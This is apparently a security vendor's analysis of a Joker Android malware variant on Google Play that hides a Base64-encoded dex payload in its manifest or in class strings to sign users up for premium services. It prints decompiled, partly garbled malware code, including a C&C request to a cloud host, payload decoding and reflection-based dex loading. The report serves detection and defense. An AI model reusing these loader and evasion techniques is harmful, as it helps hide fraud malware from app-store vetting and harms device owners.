New Joker variant hits Google Play with
an old trick
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Overview:

Check Point’s researchers recently discovered a new variant of

the Joker Dropper and Premium Dialer spyware in Google Play. Hiding in
seemingly legitimate applications, we found that this updated version of
Joker was able to download additional malware to the device, which
subscribes the user to premium services without their knowledge or
consent.
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Figure 1 — Joker application on Google Play

General:

Joker, one of the most prominent types of malware for Android, keeps
finding its way into Google’s official application market as a result of small



changes to its code, which enables it to get past the Play store’s security
and vetting barriers. This time, however, the malicious actor behind Joker
adopted an old technique from the conventional PC threat landscape and
used it in the mobile app world to avoid detection by Google.

To realize the ability of subscribing app users to premium services without
their knowledge or consent, the Joker utilized two main components —

the Notification Listener service that is part of the original application, and a
dynamic dex file loaded from the C&C server to perform the registration of
the user to the services.

In an attempt to minimize Joker’s fingerprint, the actor behind it hid the
dynamically loaded dex file from sight while still ensuring it is able to load —
a technique which is well-known to developers of malware for Windows
PCs. This new variant now hides the malicious dex file inside the
application as Base64 encoded strings, ready to be decoded and loaded.

Technical Analysis:

Originally, the code that was responsible for communicating with the C&C
and downloading the dynamic dex file was located inside the main
classes.dex file, but now the functionality of the original classes.dex file
includes loading the new payload.

Joker triggers the malicious flow from the Activity by creating a new object
that communicates with the C&C to check if the campaign was still

active. After confirmation, it can then prepare the payload module to be
loaded.



public HomeActivity() {

this.l = 23;

this.m = "TAG";

this.q = new ArraylList();
this.r = "";

}

static void a(HomeActivity homeActivity®) {
super.onBackPressed() ;

}

private void k() {
this.n = (LinearLayout)this.findViewById(0x7F080114); // id:reducesize
this.o = (LinearLayout)this.findViewById(0x7F080090); // id:editedimage
this.k = (ImageView)this.findViewById(06x7F080106C); // id:privacypolicy
new Thread(new F able() {

final HomeActivity a;

@0verride
public void run() {
a a® = new al();
if(ag.a() == 1) {
a0.la(HomeActivity.this);
}

}
}).start();

Figure 2 — Creation of the malicious object

public int a() {
try {
HttpURLConne on httpURLConnection® = (HttpUR t )new URL("https://gd-1301476296.cos.na-toronto.myqcloud.com/gd.json").openConnection();
httpURLConnection®.setConnectTimeout (60000) ;
httpURLConnection®.setRequestMethod("GET");
if (httpURLConnection®.getResponseCode() == 200) {
€ Reader bufferedReader® = new eredReader(new I t a a (httpURLConnection®.getInputStream()));
gBuf stringBuffer® = new St ( fer();
while(true) {
stringd = bufferedReader®.readLine();
if(TextUtils.isEmpty(string@)) {
break;

}

stringBuffer®.append(stringe);
return new JSONObject(stringBuffer0.toString()).getInt("status");

}

catch(I0Excepti i0Exception®) {
i0Exception@.printStackTrace();
return 0;

}

catch(JSONException jSONException®) {
jSONException®.printStackTrace();
return 0;

}

return 0;

Figure 3 — malicious object communicates with C&C

Figure 4 — response from C&C server

The first method used to load the dex file was to read it from the manifest
file. When inspecting the manifest file, we could see that there was another
metadata field that contained a Base64 encoded dex file. So all that was



needed was to read the data from the manifest file, decode the payload,
and load the new dex file.

Figure 5 — Manifest file containing the Base64 encoded dex

public void a(A activitye) {
try {
this.a(activity®, Base64.decode(activity0.getPackageManager().getApplicationInfo(activity®.getPackageName(), ©x80).metaData.getString(“bachutong™), 8));
}
catch(E unused_ex) {
}
public void a(Activity activity®, bytell array b) {
F ) fileOutputStream® = null;
file® = new File(activity@.getFilesDir(), "baobutong");
try {
fileOutputStream® = new File( (fileo);

fileOutputStreamé.write(array b);
fileOutputStreamo. flush();

catch(E i unused_ex) {
if(fileOutputStreamé != null) {
try {
fileOutputStreamo.close();
catch(I0E i i0Exception®) {
goto H
}
}
goto

catch(T throwable@) {

Figure 6 — reading data from manifest

During our research, we have also detected an “in-between” variant, that
utilized the technique of hiding the .dex file as Base64 strings — but instead
of adding the strings to the Manifest file, the strings were located inside an
internal class of the main application. In this case, all that was needed for
the malicious code to run was to read the strings, decode them from
Base64, and load it with reflection.



public

class SDKContent {

public static final String agn = "CfxV4uCa5DPdI+X2YIVPSPqrgrrte7Eyl+6VdL+gbeTmcc67nGPEh301TNB8riqy3ftpl+19nvbjsr8G2ifb+2V70NNXR/uobB+4hf5etM+gPdzj rvNw4s/.

public static final String aip
public static final String aru
public static final String cdv
public static final String cmea
public static final String cnmk
public static final String cqb
public static final String esls
public static final String fts
public static final String ghx

GT+QPG+UOX65P7r37e1L9vXtSw40Ivv7+LPcAUEKW5i7218yS8nFIhft/HLyXsFkp2fBc6ZwKBvGTFamU+KZLBSLCwXTHRUmMvmSaKdyJlyzYN+Vzx2iYN5z
BaaA+4Bpctdc+QQknWpZL59qcfdEk QE LfF7ZFhXSfIDHj01nnKtplwny3XSBmstbjvb4orue+iR7/SUdc+43XItXI7LMsvOePSz
B/TrxHan/YgoumSoL389qu+ka7u21v042avnooon605fJ8etk+Pw¥d5floGppthJyzSOeLsptovEchPaerkDfJ853USoOS7thIstBth4hznzm
"F4nJuckTmbF jYyNHRGV8bCYZ0jk6PTczmsmMTd49Q5FKPZ7HKCSNSkGcoKaVo8C5YtF2qDVrwIaFI4WCN2/alIRANLNLM2Zhfqo6Nwpwd jMpLHVOmmp4rade
"DhrueviliqZ+CnNEP7/br9+PGWh7hM7pJkj7fMppoIgveSN+Lu0I0d2KWH/LALUHE jQR8ACLDULlaM6H6W5a+F74Dnc21lwplYVeB65nQz90xTpiUM7h3wlei
QAAY2xhc3Nlcy5kZXiVWmtwG9d1Prt4ESRELSGXBIPUKqAKSLYAViRRgMRLPCiLNknRICxLoh1lqBSxJi0ACWi4pSk1roXZSp64bv+PUbeMmbqPUakbldFr,
D+3+BNOQpDVW72z7scKSyIpX7xZ+B9ibM0qcGM43QoSihCUUNXZRhAG2IKjyepubkzg8Cnrjh56bpwILnQDOHeUSul+eDIusfnlVEH138/DutQefXhlgB54]
Bnc95fc9ZX/ret+Ip9zcui5z2CM/5RmrHTL3ynKPR/6UZ553tK7PZ6jV9cEhud4IWeY1VspXPeWznvIh912U5TW5h/s9tk5L23H50IxnDSI2kdhvDtKzgibe
FWCMCyumxdZo9Lad4a2m7kTVeNESuaPEOelwx6mGfOHfezDpsjnXe9IplGed4RV5ITA37yyF7I6+am7zimUWsJFfdRcErm/MFjMYxbjvilaxTLFd3bYNAXYrt

public static final String giym = "G3pvYNUorMAugpyYpzpEKm+A8H+/0E+CF5cWVy6fp8DFch7IK1lw9esinUEiZqN8y rmxpeEFpiXTiUZpC9aTgiSuOKCqvKNEGpb1BiTWIagep3JZWWhtIjsn
public static final String gmuij = "EX46IFf77bj73NescDbqljdroYqsRTIrcb7SRKbSsMduptI2ZiqlSUwmémrHnndgZgmMIjMVcabSoDkBzk 5KeF yb10WWgi3008T9uRoONVL

public static final String hhxd
public static final String jme
public static final String kht
public static final String kgpe
public static final String kun =
public static final String lndc
public static final String mjgn
public static final String mtw
public static final String myf
public static final String oaus
public static final String pdl =
public static final String pdta
public static final String phsgu
public static final String gpl =
public static final String trwr
public static final String wbosf =

"DXtrRNrwOvZ0GJON3hPdHO1E26LBbmUQq36Qvo7eD7Fe+NRRmtaE5g90g2awVtwHg51oGLGThPRIXNEGLXZtK3J+s+/SP7NXTcInK+UTKMd8kNONULKOeSF
GLNUUAtXSqWC1CPPd20A25vZqJ4Z69nLrasnCoq6de/9gRrB02pmCObZzLk5g50Fa95YKTg4+eQRK2bESdk+mnc13XDTEaN5MjOFUZcaQyiKZfGUvcYSnTw:
ELPEG9+VYsopRNFtIhcMISN2K5wDhOUO7KKyNijWxByrtwocS9eRAy1tK7TyuGriKZnkXdudS2VNbSInkj+0SLPOPs4zSvSd/q4Q4RwIPED+a0I9S+uHVKX]
""AFBLAWQUAAGICAAVCcIdQAAAAAAAAAAAAAAAAFAAEAELFVEEtSUSGLO1BTKLGRVNULK1G/SOAAPNNZMtMSyOuOQ1lLLSr0zM+2zUjDUM+DLckmtOPXITO4SAQs
Cwge7w3yljaE6MoiMw8B59UQdigLqSx2YT/9zQfnFT+kdE3HLIKehxxWIKPIZNaGp+Cie8oeuLvzishyPRj3XyKWPomWMfCnmMstde3gPJ+zBTj9taT7kve
"E100TRrLpncl6wKCTpt2sbC6cTUbRNYws76bmty5j6FSnjeyZs81a65Qzy6N5200s7abB7yhS5023yQyJkia9JtaSsupKS07hleYs+aLladr/ERJyx3p45di
"FGDYynbOuIJpGvzovj004azYwoZ503d0jmeLy6nFYjlnpuzcUuqBYjHXc9kq2QXr/KUc0+vN7bzanFFYzS+LDAuUDUAOMWtLCOcaCRwqGbfNefoTMhokssql
BAawCxgEDgAjwAPAMLAGHgGeAq4BrwN/BvwY+BeA4kRBIAKOAZ3ANMAQOAT CA2SAWSAHXAAUAg8DNWwHg1gSXpgi5/LOPNAAaOAhwYDQBZUALABe LNO4HAGSF
EpPH7512Stop5TrlnHRY1Wm/vF/y87WP1p+tuedgrd9jgwfzVt65k5Q7yXf3aIYUILKxcVLUIWWCc1HHUXsfIN44C/01T67hh5crFfCSULEqpIlknv5p3LqWE
""HMOV91PKy+14DFR00/Z2+xn1Sgd/cRMKz6L+ZgcFVLVGqXweZlk0X/jdzocaH+9RGn/ILZzDUs+C+uMOXvr7NUP5rm6L823Z+1MyFHIuhhP8EeIufjyvvoRL
CkPIBhv5c+RmhMTPWU8HalS2da5rds/0yphhcH3A05gj55R0Y1S1ND88IwKdAaa+]j9pVusW6VVHqNVXi7426IPxK9Q1lquh7pnQ6FvSThSkvUmloKNRCsdDS
G7Iu7IY413V5rL599P/S9QSwcITV3+EX8SAAB4IQAAUESBAhQAFAAICAGAL3CXUPDes5hHAAAASQAAABQABAAAAAAAAAAAAAAAAAAAAELFVEELSUSGLO]
"An®/XNtGVCKitZODUZKfqz1Eve8u/xDQ43PpZj/RItB3g0QLOA+GiGpAN6s+ukWODqiY61EX4EPYAY4BcwCc8ASWATywDIQBi4CnwO+AXwP+AdAaSPSgY
CH2VOA+00e8Q54AmygvaQZagneluw3RFODZalc4D7nwS8A1X7q0zgg7RPLmx/kuSPibobfS00AfpZUE301eI84CrZydOhDOCuvPYheyuCKrTbxPniFZ6nGMF
FvkxkvbywppVLKOUPL7UM1H/RGZ4kmr4 /8XFi0XyT46eytC0qYIp2KZuCu/QvV1Ad406Z7a8tWImSTLI6kmceSdx5p3EmefHvZEud4iw8eYaUM6SeQdMZrse
'GSVVsOuLCM71I4MaSrAE7AHTZcq40VINTGOU/Zz8fLBRqGXiDIAQLbMH2856uNrULHImzsv1lVcs2mQjCQyXsfasgTSAqjMiMgGHHMWAWrLFj7phKK971(

public static final String wsh = "AxPwcyDdTmQBnwe+CfwMa0sg6gB2ALuBk8Bp4CHAAOaBANABWAHWGESCjwCfBr4AfA34FvAmSFfAfwLtnUQZ4BywBNjAZeAZ4CVvAL14A/Ard]/CnwEyC8lagF
public static final String ykfum = "DLv+nOKNUKYVviNVvwtj1FFMfwApbeQUIIQWcKLIGVOVIV2eT6yINN/uLedsLQLtP8rcKWOR47dg/+LEeQp+YehS6w9j1iNKtImGFD2DVYjRCVMStKSr7Vy

try

publ

Figure 7 — Strings inside main application

{

int i = SDKContent.class.getFields().length;

array2_b = new byte[il[];

il = 0;

int i2;

for(i2 = 0; i2 < SDKContent.class.getFields().length; ++i2) {
byte[] array b = Base64.decode(((String)SDKContent.class.getFields()[i2].get(null)), 2);
array2_blarray b[e]l] = array_b;

byteArrayOutputStream® = new ByteArrayOutputStream();

Figure 8 — Reading class strings and decode

ic void a(0Object object®, Object objectl, Object object2) {

Class class® = Class.forName(this.a("sJubskKDH5+3v4ZIbSRI533TWHtte/b7rCgSpf2ENxkFPhHhehOAVknA3eI8hMQYFUiKU7KDqRg/TPJewm7Eqiw=="));

Object object3 = class@.getConstructor(String.class, String.class).newInstance(class@.getMethod(this.a("cTjMrfoORYOBCSLYNX0I4kFyQ9/NujAQMUxWim]

if(!((Boolean)class0.getMethod(this.a("IbEe8LKmfqbYlwgouowBBql02VUrf8SkotakXNEskVStYokCK@aaMAy51DdoDIrhlyelSLXu8CdHb7R09zc1TQ=="), new Class[€
class0.getMethod(this.a("npqUh04YBmLcEDtZdi9Wguk4TGABdmRBbb+iyndsgUtaT9h1SsP8iMInzFDOi714d8f4TSPUBy6bum3G2hEJww==")).invoke(object3);

String string® = this.a("1l1lcz7e@DiKka2xmé6/evnKrzmSoHVCdlaIn51Rdrqpn2kPmygDs32WgvBHbltmY+1lqes+paBhHESOt3jSZoCVQ );

Object object4 = Class.forName(this.a("X5G6YCn2LIt4HN2sGdusIdXFIOpIUm7vNFwkQf7VpubsdIfxewIwbYZahdX2IlrlsupmylYzF42NtelrB5is+9w==")).getMethod(s
Class[] array_class = new Class[]{String.class, String.class, String.class, Class.forName(this.a("LLAAVqDsISZZjKOT1dwD3WKLSVMEIN7 /0YRwqSLawd7a
Object[] array_object = new Object[]{class@.getMethod(this.a("cTjMrfIRYOBC5LYNX0I4kFyQ9/NujAQMUxWimIDP/an3iS0e5Pcpm990VBXOV/NB+3t2t2c70YKxIiHy
Object object5 = Class.forName(this. a("fA4Et48]BxngVXX]BxLPdUFGx/SSOsBsYskRZan)w1XLJS+BOpu853Yn7E4gYSaganIuUOyGJITGOllvaQ )) .getConstruc
String stringl = this. a("EZGSZSmgPOthWJyIPllAU7PSGw5AE+p9aa62dyzyIRP75thkCVoBGez+8+szLde8haCSFCUt091IZNlog
Class.forName(this.a("RZ/06+vtDTCZUKIftfisc/BsYralj2vQEyN1vHL3VCcA2XUSWdIoTV dpCtEN/GEBSKd yrCRxS3iug )).getDecIaredF1e1d(stringl).se
Object objecté = Class.forName(this.a("RZ/06+vtDTCZUKIftfisc/BsYralj2vQEyN1vHL3VcA2XU9WdIoTVc5nRmxdpCtEN/GEB8KdeUmayrCRxS3iug==")).getDeclared
Object object7 = Class.forName(this.a("RZ/06+vtDTCZUKIftfisc/BsYralj2vQEyN1vHL3VcA2XU9WdIoTVc5nRmxdpCtEN/GEB8KdeUmayrCRxS3iug==")).getDeclared
Class classl = object6.getClass();

classl.getDeclaredField(this.a("CsU06xPeQ2feH6PLwbfKATEbcEzxmk fBRKVEDHKDBOT673lmcYoqsWDXKEHI jcw9z0vfredPDDwxN+rW06AFOw==")) .setAccessible(true
Object object8 = classl.getDeclaredField(this.a("CsU06xPeQ2feH6PlwbfKATEbc8zxmk fBRKVEDHKDBOT6731mcYoqsWDXKEHI jcw9z0vfredPDDwxN+rW06AFOw==")).g
Class class2 = object7.getClass();

class2.getDeclaredField(this.a("CsU06xPeQ2feH6PLwbfKATEbc8zxmk fBRKVEDHKDBOT673lmcYoqsWDXKEHI j cw9z0vfredPDDwxN+rW06AFOw==")) .setAccessible(true
Object object9 = a.a(class2.getDeclaredField(this.a("CsU06xPeQ2feH6PlwbfKATfEbc8zxmk fBRKVEDHKDBOT6731mcYoqsWDXKEHIjcw9z0vfredPDDwxN+rWO6AFOw=="
classl.getDeclaredField(this.a("CsU06xPeQ2feH6PLwbfKATEbcSzxmk fBRKVEDHKDBOT673lmcYoqsWDXKEHI jcw9z0vfredPDDwxN+rW06AFOw==")) .set(object6, objec

Figure 9 — Loading the dex file with Reflection

public String a(String string®) {

]

try {
return new String(a.a(Base64.decode(string®, 2), Base64.decode("MFwwDQYIKoZIhvecNAQEBBOQADSWAWSAIBALDhVAMNBOtF6WoLxXZx

catch(Exception exception®) {

exception®.printStackTrace();
return "";

Figure 10 — Decrypting strings



The new payload contained code that the original Joker had in its main dex
file — the registration of the NotificationListener service, subscribing the user
to premium services, and more. But now, after this change, all that the actor
needed in order to hide the entire functionality was to set the C&C server to
return “false” on the status code, and none of the malicious activity would
occur.

Conclusion:

If you suspect you may have one of these infected apps on your device,
here’s what you should do:

« Uninstall the infected application from the device

« Check your mobile and credit-card bills to see if you have been signed up for
any subscriptions and unsubscribe if possible

« Install a security solution to prevent future infections

Protect your enterprise and users from sophisticated mobile cyberattacks
like Haken or any other ones with SandBlast Mobile. To protect personal
devices against attacks, check out ZoneAlarm Mobile Security.
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